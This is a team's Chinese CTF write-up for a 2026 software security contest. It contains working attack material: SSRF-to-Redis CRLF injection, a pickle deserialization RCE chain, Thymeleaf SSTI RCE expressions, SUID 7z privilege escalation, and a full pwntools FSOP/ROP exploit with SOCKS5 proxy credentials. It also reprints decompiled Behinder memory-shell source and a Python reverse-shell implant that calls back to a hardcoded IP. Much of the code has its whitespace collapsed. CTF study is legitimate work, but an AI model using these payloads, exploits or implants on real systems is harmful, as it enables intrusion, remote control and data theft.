乐于分享
好东西不私藏

2026 软件系统安全赛 初赛 wp

2026 软件系统安全赛 初赛 wp

2026软件系统安全赛初赛中,Spirit战队ak了全部赛题,现将团队wp整理如下,与大家交流学习。

Web

Auth

注册一个用户之后修改头像,avatar_url 支持 file:// 协议,可以任意文件读取,但是没权限读取 /flag,结果经过 base64 后放在头像框内 先读 /app/app.py:avatar_url=file:///app/app.py发现存在 redis,尝试读 redis 持久化文件 dump.rdb

avatar_url=file:///var/lib/redis/dump.rdb拿到 Flask secret_key

伪造 admin 的 session cookie 登录

/admin/online-users 会遍历 online_user:* 并反序列化。虽然用了 RestrictedUnpickler,但放行了 builtins.getattr,而 OnlineUser 在白名单内 可构造 pickle 链:

getattr(getattr(getattr(getattr(OnlineUser, "__init__"),"__globals__")"get")("os"),"system")(cmd)

目标是:online_user:<user>需要把该键覆盖成恶意 pickle 利用点仍是 avatar_url:将请求打到 127.0.0.1:6379,通过 CRLF + RESP 进行协议注入,发送:

AUTH redispass123SET online_user:<user> <pickle_payload>EXPIRE online_user:<user> 3600

通过读取 file:///proc/1/task/1/children,拿到子进程 PID:11 14 20

逐个读 file:///proc/<pid>/cmdline

在 pid=11 看到可疑启动命令:

python3 /opt/mcp_service/mcp_server_secure_e938a2d234b7968a885bbbbb63cde7b9.py

直接读这个脚本文件,发现里面存在:

SimpleXMLRPCServer(("0.0.0.0", 54321), ...)

暴露方法 execute_command,同时硬编码 token 为 mcp_secure_token_b2rglxd

在容器内执行 xmlrpc.client.ServerProxy(“http://127.0.0.1:54321/”) 可以调用

所以反序列化命令可以直接写成:

python3 -c "import xmlrpc.client;print(xmlrpc.client.ServerProxy('http://127.0.0.1:54321/').execute_command('mcp_secure_token_b2rglxd','cat /flag'))" >/tmp/mcp_out.txt

最后用任读从 /tmp/mcp_out.txt 中拿到flag

themyleaf

  1. PRNG 状态泄露

用户注册时会从后端返回一个 PRNG 取值,可以从中获得其内部状态,然后反推回 admin 账号的密码

 MASK = (1 << 48) - 1 LOW47 = (1 << 47) - 1defprev_candidates(cur):     base = ((cur & LOW47) << 1) & MASKreturn [base, base | 1]
  1. Thymeleaf SSTI

控制器中存在

return"admin :: " + section;

当 Thymeleaf 看到 :: 时,会把它当作 fragment expression 去解析,故此处存在 SSTI 漏洞

在高版本 Thymeleaf 里,直接写 ${…} 通常会被拦,但通过预处理和字面量拼接可以绕过:

__|$${...}|__::.x

在通过 SSTI 进行 RCE 的过程中,由于不同 JDK 版本的 Runtime.exec 的多个重载顺序可能不同,需要爆破之后找出可用的重载下标

 rt = "''.getClass().forName('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null)" expr = f"{rt}.getClass.getMethods.?[name=='exec'][{idx}].invoke({rt},'/usr/bin/id')"

RCE 之后进去的用户是 ctf,需要 root 用户才能读取 /flag

  1. 7z提权

find suid:

 find / -perm -4000 -type f

发现最主要的 7z,最后使用 /usr/bin/7z a -ttar -an -so /flag 直接获得 flag 内容

Pwn

MailSystem

from pwn import *import os, shutil, tempfileimport socketcontext.arch = 'amd64'context.os = 'linux'context.log_level = 'info'EXE = './pwn'LIBC = './libc.so.6'LD = './ld-linux-x86-64.so.2'elf = context.binary = ELF(EXE, checksec=False)libc = ELF(LIBC, checksec=False)stdout_offset = -7host = '192.0.100.2'port = 9999socks5 = '3.dart.ccsssc.com:26177'socks_user = '3hm3n1br'socks_pass = 'tbkzq6tp'def_normalize_socks5(value: str) -> str:ifnot value:return''    value = str(value).strip()if value.lower() in {'0''false''off''no''none'}:return''return valuedef_normalize_opt(value: str) -> str:if value isNone:return''    value = str(value).strip()if value.lower() in {'0''false''off''no''none'}:return''return valuedef_enable_socks5(proxy_spec: str, username: str = '', password: str = ''):    proxy_spec = _normalize_socks5(proxy_spec)ifnot proxy_spec:return    host, sep, port = proxy_spec.rpartition(':')ifnot sep ornot host ornot port.isdigit():raise ValueError(f'Invalid SOCKS5 proxy: {proxy_spec!r}, expected host:port')import socks    username = _normalize_opt(username)    password = _normalize_opt(password)    socks.set_default_proxy(        socks.SOCKS5,        host,        int(port),        username=username orNone,        password=password orNone,    )    socket.socket = socks.socksocket    auth_state = 'enabled'if username or password else'disabled'    info(f'Using SOCKS5 proxy: {host}:{port} (auth={auth_state})')def_prepare_loader(path: str) -> str:if os.access(path, os.X_OK):return path    dst = os.path.join(tempfile.gettempdir(), 'ld.mail_system')ifnot os.path.exists(dst):        shutil.copy2(path, dst)        os.chmod(dst, 0o755)return dstdefstart():if args.REMOTE:        _enable_socks5(socks5, socks_user, socks_pass)        io = remote(host, port)else:        ld = _prepare_loader(LD)        io = process([ld, '--library-path''.', EXE], stdin=PIPE, stdout=PIPE)    io.recvuntil(b'Your choice: ')return iodefregister(io, name: bytes, password: bytes):    io.sendline(b'2')    io.recvuntil(b'Input your name: ')    io.sendline(name)    io.recvuntil(b'Input your password: ')    io.sendline(password)return io.recvuntil(b'Your choice: ')deflogin_user(io, name: bytes, password: bytes):    io.sendline(b'1')    io.recvuntil(b'Input your name: ')    io.sendline(name)    io.recvuntil(b'Input your password: ')    io.sendline(password)return io.recvuntil(b'Your choice: ')deflogin_admin(io):    io.sendline(b'1')    io.recvuntil(b'Input your name: ')    io.send(b'\x00\n')    io.recvuntil(b'Input your password: ')    io.send(b'\x00\n')return io.recvuntil(b'Your choice: ')defwrite_mail(io, data: bytes):assert1 <= len(data) <= 0x100    io.sendline(b'1')    io.recvuntil(b'How many bytes do you want to write? (1-256): ')    io.sendline(str(len(data)).encode())    io.recvuntil(b'bytes):\n')    io.send(data)return io.recvuntil(b'Your choice: ')defsend_mail(io, dst: int, overwrite: bool = True):    io.sendline(b'3')    io.recvuntil(b'Who do you want to send the mail to? (input user ID 1-12)\n')    io.sendline(str(dst).encode())    out = io.recvuntil([b'Overwrite? (y/n): 'b'Your choice: '])if out.endswith(b'Overwrite? (y/n): '):        io.sendline(b'y'if overwrite elseb'n')        out += io.recvuntil(b'Your choice: ')return outdeflogout_user(io):    io.sendline(b'4')return io.recvuntil(b'Your choice: ')defadmin_logout(io):    io.sendline(b'5')return io.recvuntil(b'Your choice: ')defadmin_forward(io, src: int, dst: int, which: int, overwrite: bool = True, final_mode: str = 'prompt'):    io.sendline(b'4')    io.recvuntil(b'Enter source user ID (whose mail to forward): (1-12) ')    io.sendline(str(src).encode())    io.recvuntil(b'Enter destination user ID (1-12): ')    io.sendline(str(dst).encode())    out = io.recvuntil([b'Overwrite? (y/n): 'b'Which mail would you like to forward?\n'b'Your choice: '])if out.endswith(b'Overwrite? (y/n): '):        io.sendline(b'y'if overwrite elseb'n')        out += io.recvuntil([b'Which mail would you like to forward?\n'b'Your choice: '])ifb'Which mail would you like to forward?'notin out:return out    io.recvuntil(b'Your choice: ')    io.sendline(str(which).encode())if final_mode == 'prompt':        out += io.recvuntil(b'Your choice: ')else:        out += io.recvrepeat(0.5)return outdefban_user(io, name: bytes, password: bytes, victim_id: int = 8):    out = login_user(io, name, password)ifb'Welcome back'notin out:raise RuntimeError(f'login failed for {name!r}{out!r}')# 1. Write mail# 1 byte# content = 'A'# 3. Send mail# victim_id# overwrite = y    one = b'1\n1\nA3\n' + str(victim_id).encode() + b'\ny\n'    total = 0whileTrue:        io.send(one * 6)        total += 6        out = io.recvuntil(b'Your choice: ', timeout=5)        out += io.recvrepeat(0.2)ifb'Account has been banned!'in out:            success(f'{name!r} banned after {total} sends')return outifb'Welcome back'in out andb'1. Write mail'notin out:raise RuntimeError(f'{name!r} state changed unexpectedly: {out!r}')        info(f'{name!r} not banned yet, sent={total}')deftakeover_admin(io):for i in range(19):        register(io, f'u{i}'.encode(), f'p{i}'.encode())for i in range(16):        ban_user(io, f'u{i}'.encode(), f'p{i}'.encode())for i in range(913):        register(io, f'u{i}'.encode(), f'p{i}'.encode())    register(io, b'u13'b'p13')    out = login_admin(io)assertb'Welcome admin!'in outdefleak_libc(io, src_uid: int = 8):    payload = flat(0xfbad1800000) + p16(0xb780)    admin_logout(io)    login_user(io, f'u{src_uid}'.encode(), f'p{src_uid}'.encode())    write_mail(io, payload)    logout_user(io)    login_admin(io)    data = admin_forward(io, src_uid, stdout_offset, 1, final_mode='repeat')    marker = b'Which mail would you like to forward?\n'    leak = data.split(marker, 1)[1].split(b'Mail forwarded'1)[0]    stdout = u64(leak[0x20:0x28])    libc_base = stdout - libc.sym['_IO_2_1_stdout_']    success(f'libc_base = {hex(libc_base)}')    success(f'stdout    = {hex(stdout)}')return libc_base, stdoutdefbuild_stdout_payload(libc_base: int, stdout: int):    stderr = libc_base + libc.sym['_IO_2_1_stderr_']    stdin = libc_base + libc.sym['_IO_2_1_stdin_']    stage2_addr = libc_base + 0x21d000    wide_data = stdout - 0x50    setcontext_3d = libc_base + libc.sym['setcontext'] + 0x3d    read_addr = libc_base + libc.sym['read']    file_jumps = libc_base + 0x217600    wfile_jumps = libc_base + 0x2170c0    lock_ptr = libc_base + 0x21ca70    d = bytearray(0x100)defwq(off: int, val: int):        d[off:off + 8] = p64(val)defwd(off: int, val: int):        d[off:off + 4] = p32(val & 0xffffffff)# known-good stdout template for this libc    wq(0x000xfbad2887)for off in [0x080x100x180x200x280x300x38]:        wq(off, stdout + 0x83)    wq(0x40, stdout + 0x84)    wq(0x480)    wq(0x500)    wq(0x580)    wq(0x600)    wq(0x68, stdin)    wq(0x701)    wq(0x780xffffffffffffffff)    wq(0x800x0a000000)    wq(0x88, lock_ptr)    wq(0x900xffffffffffffffff)    wq(0x980)    wq(0xa0, libc_base + 0x21a9a0)    wq(0xa80)    wq(0xb00)    wq(0xb80)    wd(0xc00xffffffff)    wq(0xc80)    wq(0xd00)    wq(0xd8, file_jumps)    wq(0xe0, stderr)    wq(0xe8, stdout)    wq(0xf0, stdin)    wq(0xf80)# exploit patch:#   _IO_wfile_overflow -> _IO_wdoallocbuf -> call [wide_vtable+0x68]# with wide_data = stdout-0x50 and wide_vtable = stdout.    wq(0x000xfbad2085)      # clear _IO_NO_WRITES and clear the 0x800 bit    wq(0x180)               # wide+0x68 -> rdi = 0    wq(0x20, stage2_addr)     # wide+0x70 -> rsi = stage2 buffer    wq(0x380x400)           # wide+0x88 -> rdx = count    wq(0x480)               # wide+0x98 -> rcx    wq(0x50, stage2_addr)     # wide+0xa0 -> rsp = stage2 buffer    wq(0x58, read_addr)       # wide+0xa8 -> return to read    wq(0x68, setcontext_3d)   # stdout[0x68] == fake_wide_vtable[0x68]    wq(0x90, stdout)          # wide+0xe0 -> fake wide_vtable = stdout    wq(0xa0, wide_data)       # _wide_data = stdout-0x50    wd(0xc01)               # _mode > 0    wq(0xd8, wfile_jumps)     # use _IO_wfile_jumpsreturn bytes(d), stage2_addrio = start()takeover_admin(io)success("stage1 done: fake admin acquired")libc_base, stdout = leak_libc(io)stdout_payload, stage2_addr = build_stdout_payload(libc_base, stdout)rop = ROP(libc)pop_rdi = rop.find_gadget(["pop rdi""ret"]).address + libc_basepop_rsi = rop.find_gadget(["pop rsi""ret"]).address + libc_basepop_rdx_r12 = (    next(        addrfor addr, g in rop.gadgets.items()if g.insns == ["pop rdx""pop r12""ret"]    )    + libc_base)open_addr = libc_base + libc.sym["open"]read_addr = libc_base + libc.sym["read"]write_addr = libc_base + libc.sym["write"]flag_addr = stage2_addr + 0x180buf_addr = stage2_addr + 0x200stage2 = flat(    pop_rdi,    flag_addr,    pop_rsi,0,    pop_rdx_r12,0,0,    open_addr,    pop_rdi,3,    pop_rsi,    buf_addr,    pop_rdx_r12,0x100,0,    read_addr,    pop_rdi,1,    pop_rsi,    buf_addr,    pop_rdx_r12,0x100,0,    write_addr,)stage2 = stage2.ljust(0x180b"\x00") + b"/flag\x00"stage2 = stage2.ljust(0x400b"\x00")admin_logout(io)login_user(io, b"u10"b"p10")write_mail(io, stdout_payload)logout_user(io)login_admin(io)admin_forward(io, 10, stdout_offset, 1, final_mode="repeat")io.send(b"5\n")sleep(0.1)io.send(stage2)data = io.recvrepeat(2.0)print(data)io.interactive()

Misc

TrafficHunter

首先前半段是根本不用看的dirsearch。

然后找到对/favicondemo.ico,知道是冰蝎马。

POST那一次

取出来是冰蝎的class,jadx跑一遍

package com.summersec.x;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.math.BigInteger;import java.security.MessageDigest;import java.util.EnumSet;import java.util.HashMap;import java.util.Map;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.DispatcherType;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.FilterRegistration;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletRequestWrapper;import javax.servlet.ServletResponse;import javax.servlet.ServletResponseWrapper;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import org.apache.catalina.LifecycleState;import org.apache.catalina.connector.RequestFacade;import org.apache.catalina.connector.ResponseFacade;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.util.LifecycleBase;/* JADX INFO: loaded from: download.class */publicfinalclassBehinderFilterextendsClassLoaderimplementsFilter{public HttpServletRequest request;public HttpServletResponse response;public String cs;public String Pwd;public String path;publicBehinderFilter(){this.request = null;this.response = null;this.cs = "UTF-8";this.Pwd = "eac9fa38330a7535";this.path = "/favicondemo.ico";    }publicBehinderFilter(ClassLoader c){super(c);this.request = null;this.response = null;this.cs = "UTF-8";this.Pwd = "eac9fa38330a7535";this.path = "/favicondemo.ico";    }public Class g(byte[] b){returnsuper.defineClass(b, 0, b.length);    }publicstatic String md5(String s){        String ret = null;try {            MessageDigest m = MessageDigest.getInstance("MD5");            m.update(s.getBytes(), 0, s.length());            ret = new BigInteger(1, m.digest()).toString(16).substring(016);        } catch (Exception e) {        }return ret;    }publicbooleanequals(Object obj){        parseObj(obj);this.Pwd = md5(this.request.getHeader("p"));this.path = this.request.getHeader("path");        StringBuffer output = new StringBuffer();try {this.response.setContentType("text/html");this.request.setCharacterEncoding(this.cs);this.response.setCharacterEncoding(this.cs);            output.append(addFilter());        } catch (Exception var7) {            output.append("ERROR:// " + var7.toString());        }try {this.response.getWriter().print("->|" + output.toString() + "|<-");this.response.getWriter().flush();this.response.getWriter().close();returntrue;        } catch (Exception e) {returntrue;        }    }publicvoidparseObj(Object obj){if (obj.getClass().isArray()) {            Object[] data = (Object[]) obj;this.request = (HttpServletRequest) data[0];this.response = (HttpServletResponse) data[1];return;        }try {            Class<?> cls = Class.forName("javax.servlet.jsp.PageContext");this.request = (HttpServletRequest) cls.getDeclaredMethod("getRequest"new Class[0]).invoke(obj, new Object[0]);this.response = (HttpServletResponse) cls.getDeclaredMethod("getResponse"new Class[0]).invoke(obj, new Object[0]);        } catch (Exception e) {if (obj instanceof HttpServletRequest) {this.request = (HttpServletRequest) obj;try {                    Field req = this.request.getClass().getDeclaredField("request");                    req.setAccessible(true);                    HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);                    Field resp = request2.getClass().getDeclaredField("response");                    resp.setAccessible(true);this.response = (HttpServletResponse) resp.get(request2);                } catch (Exception e2) {try {this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse"new Class[0]).invoke(obj, new Object[0]);                    } catch (Exception e3) {                    }                }            }        }    }public String addFilter()throws Exception {        Class<?> cls;        ServletContext servletContext = this.request.getServletContext();        String filterName = this.path;        String url = this.path;if (servletContext.getFilterRegistration(filterName) == null) {            StandardContext standardContext = null;            Field stateField = null;try {try {                    Field contextField = servletContext.getClass().getDeclaredField("context");                    contextField.setAccessible(true);                    ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);                    Field contextField2 = applicationContext.getClass().getDeclaredField("context");                    contextField2.setAccessible(true);                    standardContext = (StandardContext) contextField2.get(applicationContext);                    stateField = LifecycleBase.class.getDeclaredField("state");                    stateField.setAccessible(true);                    stateField.set(standardContext, LifecycleState.STARTING_PREP);                    FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this);                    filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), falsenew String[]{url});                    Method filterStartMethod = StandardContext.class.getMethod("filterStart", newClass[0]);                    filterStartMethod.setAccessible(true);                    filterStartMethod.invoke(standardContext, (Object[]) null);                    stateField.set(standardContext, LifecycleState.STARTED);try {                        cls = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");                    } catch (Exception e) {                        cls = Class.forName("org.apache.catalina.deploy.FilterMap");                    }                    Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps"new Class[0]);                    Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]);for (int i = 0; i < filterMaps.length; i++) {                        Object filterMapObj = filterMaps[i];                        Method findFilterMaps2 = cls.getMethod("getFilterName"new Class[0]);                        String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]);if (name.equalsIgnoreCase(filterName)) {                            filterMaps[i] = filterMaps[0];                            filterMaps[0] = filterMapObj;                        }                    }                    stateField.set(standardContext, LifecycleState.STARTED);return"Success";                } catch (Exception var22) {                    String var11 = var22.getMessage();                    stateField.set(standardContext, LifecycleState.STARTED);return var11;                }            } catch (Throwable th) {                stateField.set(standardContext, LifecycleState.STARTED);throw th;            }        }return"Filter already exists";    }publicvoiddoFilter(ServletRequest req, ServletResponse resp, FilterChain chain)throws ServletException, IOException {        HttpSession session = ((HttpServletRequest) req).getSession();        Object lastRequest = req;        Object lastResponse = resp;if (!(lastRequest instanceof RequestFacade)) {try {                Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", newClass[0]);                lastRequest = getRequest.invoke(this.request, new Object[0]);while (!(lastRequest instanceof RequestFacade)) {                    lastRequest = getRequest.invoke(lastRequest, new Object[0]);                }            } catch (Exception e) {            }        }try {if (!(lastResponse instanceof ResponseFacade)) {                Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", newClass[0]);                lastResponse = getResponse.invoke(this.response, new Object[0]);while (!(lastResponse instanceof ResponseFacade)) {                    lastResponse = getResponse.invoke(lastResponse, new Object[0]);                }            }        } catch (Exception e2) {        }        Map obj = new HashMap();        obj.put("request", lastRequest);        obj.put("response", lastResponse);        obj.put("session", session);try {            session.putValue("u"this.Pwd);            Cipher c = Cipher.getInstance("AES");            c.init(2new SecretKeySpec(this.Pwd.getBytes(), "AES"));new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj);        } catch (Exception var7) {            var7.printStackTrace();        }    }publicbyte[] base64Decode(String str) throws Exception {try {            Class<?> cls = Class.forName("sun.misc.BASE64Decoder");return (byte[]) cls.getMethod("decodeBuffer", String.class).invoke(cls.newInstance(), str);        } catch (Exception e) {            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder"new Class[0]).invoke(nullnew Object[0]);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoderstr);        }    }publicvoidinit(FilterConfig filterConfig)throws ServletException {    }publicvoiddestroy(){    }}

大概就出来了。写个脚本:

import base64import hashlibimport jsonfrom pathlib import Pathfrom urllib.parse import unquote_plusfrom Crypto.Cipher import AESJSON_FILE = "1.json"PASSWORD = "HWmc2TLDoihdlr0N"START_FRAME = 404205OUT_DIR = Path("json_dump")defunpad(data):ifnot data:return data    pad = data[-1]if1 <= pad <= 16and data.endswith(bytes([pad]) * pad):return data[:-pad]return datadefhex_to_bytes(text):return bytes.fromhex(text.replace(":"""))defascii_strings(data, min_len=4):    res = []    buf = bytearray()for b in data:if32 <= b <= 126:            buf.append(b)continueif len(buf) >= min_len:            res.append(buf.decode(errors="replace"))        buf.clear()if len(buf) >= min_len:        res.append(buf.decode(errors="replace"))return resdefdecrypt_body(body):    data = base64.b64decode(hex_to_bytes(body).decode())    key = hashlib.md5(PASSWORD.encode()).hexdigest()[:16].encode()    cipher = AES.new(key, AES.MODE_ECB)return unpad(cipher.decrypt(data))defdecode_implant(form_data):    key = list(form_data.keys())[0]    value = form_data[key]["urlencoded-form.value"]    raw = base64.b64decode(unquote_plus(value))return key, rawdefsummarize_class(data):    res = []for s in ascii_strings(data):if len(s) > 160:ifnot any(x in s for x in ["cd ""echo ""./out"]):continueif s.endswith(".java"):            res.append(s)elif s in {"create""append""update""list""check"}:            res.append(s)elif s.startswith("/"):            res.append(s)elif any(x in s for x in ["cd ""echo ""pwd""ls""chmod""./out""whoami""ps -ef""w"]):            res.append(s)    out = []for s in res:if s notin out:if len(s) > 200:                out.append(s[:200] + "...")else:                out.append(s)return" | ".join(out[:20])defdecode_response(data):    text = data.decode("utf-8", errors="replace")try:        obj = json.loads(text)except Exception:return text    new_obj = {}for k, v in obj.items():if isinstance(v, str):try:                new_obj[k] = base64.b64decode(v).decode("utf-8", errors="replace")except Exception:                new_obj[k] = velse:            new_obj[k] = vreturn json.dumps(new_obj, ensure_ascii=False)packet = json.load(open(JSON_FILE))OUT_DIR.mkdir(exist_ok=True)for p in packet:    layers = p["_source"]["layers"]if"http"notin layers:continue    frame = int(layers["frame"]["frame.number"])if frame < START_FRAME:continue    http = layers["http"]    first_line = list(http.keys())[0].split(" ")[0]if first_line == "POST":        uri = http[list(http.keys())[0]]["http.request.uri"]if uri == "/"and"urlencoded-form"in layers:            form_key, raw = decode_implant(layers["urlencoded-form"])            open(OUT_DIR / f"{frame}_implant.class""wb").write(raw)            print(frame, "implant", form_key, len(raw), summarize_class(raw))continueif"data"notin http:continue        raw = decrypt_body(http["data"]["data.data"])if raw.startswith(b"\xca\xfe\xba\xbe"):            open(OUT_DIR / f"{frame}.class""wb").write(raw)            print(frame, "request", summarize_class(raw))else:            open(OUT_DIR / f"{frame}.bin""wb").write(raw)            print(frame, "request_raw", raw[:120])continueif first_line == "HTTP/1.1":        code = http[list(http.keys())[0]]["http.response.code"]if code != "200":continueif frame == 404210:            raw = hex_to_bytes(http["http.file_data"])            open(OUT_DIR / f"{frame}_response.txt""wb").write(raw)            print(frame, "response", raw.decode("utf-8", errors="replace"))continueif"data"notin http:continue        raw = decrypt_body(http["data"]["data.data"])        open(OUT_DIR / f"{frame}_response.txt""wb").write(raw)        print(frame, "response", decode_response(raw))

可以看到最后运行了/var/tmp/out –aes-key xxx。

out是临时上传的,可以直接从前面的文件分块里面恢复。

取出来upx -> pyinstaller -> pyc.

# Decompiled with PyLingual (https://pylingual.io)# Internal filename: 'implant.py'# Bytecode version: 3.9.0beta5 (3425)# Source timestamp: 1970-01-01 00:00:00 UTC (0)global _aesgcmimport osimport socketimport structimport subprocessimport argparseimport settingsimport base64from cryptography.hazmat.primitives.ciphers.aead import AESGCMSERVER_LISTEN_IP = '10.1.243.155'SERVER_LISTEN_PORT = 7788IMPLANT_CONNECT_IP = '10.1.243.155'IMPLANT_CONNECT_PORT = 7788SERVER_LISTEN_NUM = 20_aesgcm = Nonedefset_aes_key(key_b64: str):global _aesgcm    key = base64.b64decode(key_b64)if len(key) notin [162432]:raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节(对应 128, 192, 256 位)')else:        _aesgcm = AESGCM(key)defencrypt_data(data: bytes) -> bytes:if _aesgcm isNone:raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()')else:        nonce = os.urandom(12)        ciphertext = _aesgcm.encrypt(nonce, data, None)return nonce + ciphertextdefdecrypt_data(encrypted_data: bytes) -> bytes:if _aesgcm isNone:raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()')else:if len(encrypted_data) < 28:raise ValueError('加密数据太短,无法包含 nonce 和认证标签')else:            nonce = encrypted_data[:12]            ciphertext_with_tag = encrypted_data[12:]            plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None)return plaintextdefexec_cmd(command, code_flag):    command = command.decode('utf-8')if command[:2] == 'cd'and len(command) > 2:try:            os.chdir(command[3:])            cmd_path = os.getcwd()            stdout_res = f'切换到 {cmd_path} 路径下'except Exception:            stdout_res = f'系统找不到指定的路径。: {command[3:]}'else:        obj = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)        stdout_res = obj.stdout.read() + obj.stderr.read()ifnot stdout_res:            stdout_res = f'{command} 执行成功'else:try:                stdout_res = stdout_res.decode(code_flag)except Exception:if code_flag == 'gbk':                    code_flag = 'utf-8'else:if code_flag == 'utf-8':                        code_flag = 'gbk'                stdout_res = stdout_res.decode(code_flag)return stdout_res.strip()defsend_data(conn, data):if type(data) == str:        data = data.encode('utf-8')    encrypted_data = settings.encrypt_data(data)    cmd_len = struct.pack('i', len(encrypted_data))    conn.send(cmd_len)    conn.send(encrypted_data)defrecv_data(sock, buf_size=1024):    x = sock.recv(4)    all_size = struct.unpack('i', x)[0]    recv_size = 0    encrypted_data = b''while recv_size < all_size:        encrypted_data += sock.recv(buf_size)        recv_size += buf_size    data = settings.decrypt_data(encrypted_data)return datadefmain():# irreducible cflow, using cdg fallback# ***<module>.main: Failure: Different control flow    sock = socket.socket()    sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT))    code_flag = 'gbk'if os.name == 'nt'else'utf-8'try:        cmd = recv_data(sock)if cmd == b'exit':            sock.close()        res = exec_cmd(cmd, code_flag)        send_data(sock, res)except Exception:        sock.close()if __name__ == '__main__':    parser = argparse.ArgumentParser(description='')    parser.add_argument('--aes-key', required=True, help='')    args = parser.parse_args()    settings.set_aes_key(args.aes_key)    main()

那就再来个脚本就好了。

import base64import jsonfrom Crypto.Cipher import AESJSON_FILE = "1.json"STREAM = 40563KEY_B64 = "IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="SERVER_IP = "10.1.243.155"IMPLANT_IP = "10.1.33.69"START_FRAME = 404205defdecrypt_blob(key, blob):    nonce = blob[:12]    ciphertext = blob[12:-16]    tag = blob[-16:]    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)return cipher.decrypt_and_verify(ciphertext, tag)defparse_messages(rows, key):    rows.sort(key=lambda x: (x[3], x[0]))    buf = bytearray()    start_frame = None    out = []for frame, src, dst, seq, payload in rows:ifnot buf:            start_frame = frame        buf.extend(payload)while len(buf) >= 4:            size = int.from_bytes(buf[:4], "little")if len(buf) < 4 + size:break            enc = bytes(buf[4 : 4 + size])            plain = decrypt_blob(key, enc)            out.append((start_frame, src, dst, size, plain))del buf[: 4 + size]            start_frame = frame if buf elseNonereturn outdefhex_to_bytes(text):return bytes.fromhex(text.replace(":"""))packet = json.load(open(JSON_FILE))server_to_implant = []implant_to_server = []for p in packet:    layers = p["_source"]["layers"]if"tcp"notin layers or"ip"notin layers:continue    frame = int(layers["frame"]["frame.number"])if frame < START_FRAME:continue    tcp = layers["tcp"]if int(tcp.get("tcp.stream""-1")) != STREAM:continue    payload_hex = tcp.get("tcp.payload")ifnot payload_hex:continue    src = layers["ip"]["ip.src"]    dst = layers["ip"]["ip.dst"]    item = (frame, src, dst, int(tcp["tcp.seq"]), hex_to_bytes(payload_hex))if src == SERVER_IP and dst == IMPLANT_IP:        server_to_implant.append(item)elif src == IMPLANT_IP and dst == SERVER_IP:        implant_to_server.append(item)key = base64.b64decode(KEY_B64)print("server -> implant")for frame, src, dst, size, plain in parse_messages(server_to_implant, key):    print(frame, size, plain.decode("utf-8", errors="replace"))print("implant -> server")for frame, src, dst, size, plain in parse_messages(implant_to_server, key):    print(frame, size, plain.decode("utf-8", errors="replace"))

Steg

xxd看一眼

直接删掉前面的东西,libmagic能正常识别了。

但是打不开,图片IDAT CRC爆炸了。把idat拼起来之后错位。

写一个策略尽可能多恢复点东西:

import zlibfrom pathlib import Pathfrom typing import Iterablefrom PIL import ImagePNG_SIG = b'\x89PNG\r\n\x1a\n'defiter_png_chunks(png: bytes):ifnot png.startswith(PNG_SIG):raise ValueError('Not a PNG stream')    off = len(PNG_SIG)while off + 12 <= len(png):        length = int.from_bytes(png[off:off + 4], 'big')        ctype = png[off + 4:off + 8]        data_start = off + 8        data_end = data_start + length        crc_end = data_end + 4if crc_end > len(png):breakyield ctype, png[data_start:data_end], off, crc_end        off = crc_endif ctype == b'IEND':breakdefget_png_info(png: bytes):for ctype, data, _start, _end in iter_png_chunks(png):if ctype == b'IHDR':if len(data) != 13:raise ValueError('Bad IHDR length')            width = int.from_bytes(data[0:4], 'big')            height = int.from_bytes(data[4:8], 'big')            bit_depth = data[8]            color_type = data[9]            compression = data[10]            filter_method = data[11]            interlace = data[12]return {'width': width,'height': height,'bit_depth': bit_depth,'color_type': color_type,'compression': compression,'filter_method': filter_method,'interlace': interlace,'channels': {0123314264}.get(color_type, 0)            }raise ValueError('IHDR not found')defpaeth_predictor(a: int, b: int, c: int):    p = a + b - c    pa = abs(p - a)    pb = abs(p - b)    pc = abs(p - c)if pa <= pb and pa <= pc:return aif pb <= pc:return breturn cdefreconstruct_scanline(filter_type: int, filtered: bytes, prior: bytes, channels: int = 3):    stride = len(filtered)    recon = bytearray(stride)if filter_type == 0:  # None        recon[:] = filteredelif filter_type == 1:  # Subfor x in range(stride):            a = recon[x - channels] if x >= channels else0            recon[x] = (filtered[x] + a) & 0xffelif filter_type == 2:  # Upfor x in range(stride):            recon[x] = (filtered[x] + prior[x]) & 0xffelif filter_type == 3:  # Averagefor x in range(stride):            a = recon[x - channels] if x >= channels else0            b = prior[x]            recon[x] = (filtered[x] + ((a + b) // 2)) & 0xffelif filter_type == 4:  # Paethfor x in range(stride):            a = recon[x - channels] if x >= channels else0            b = prior[x]            c = prior[x - channels] if x >= channels else0            recon[x] = (filtered[x] + paeth_predictor(a, b, c)) & 0xffelse:raise ValueError(f'Invalid filter type: {filter_type}')return bytes(recon)# Main programinput_file = Path('carved.png')output_file = Path('carved_repaired.png')# Read PNGpng_data = 